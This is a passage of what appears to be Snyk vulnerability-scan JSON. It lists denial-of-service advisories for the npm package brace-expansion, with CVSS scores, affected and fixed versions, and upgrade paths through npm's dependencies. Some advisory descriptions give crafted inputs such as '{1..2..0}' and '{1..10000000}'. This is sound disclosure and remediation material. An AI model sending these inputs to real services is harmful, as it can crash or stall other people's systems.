"Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 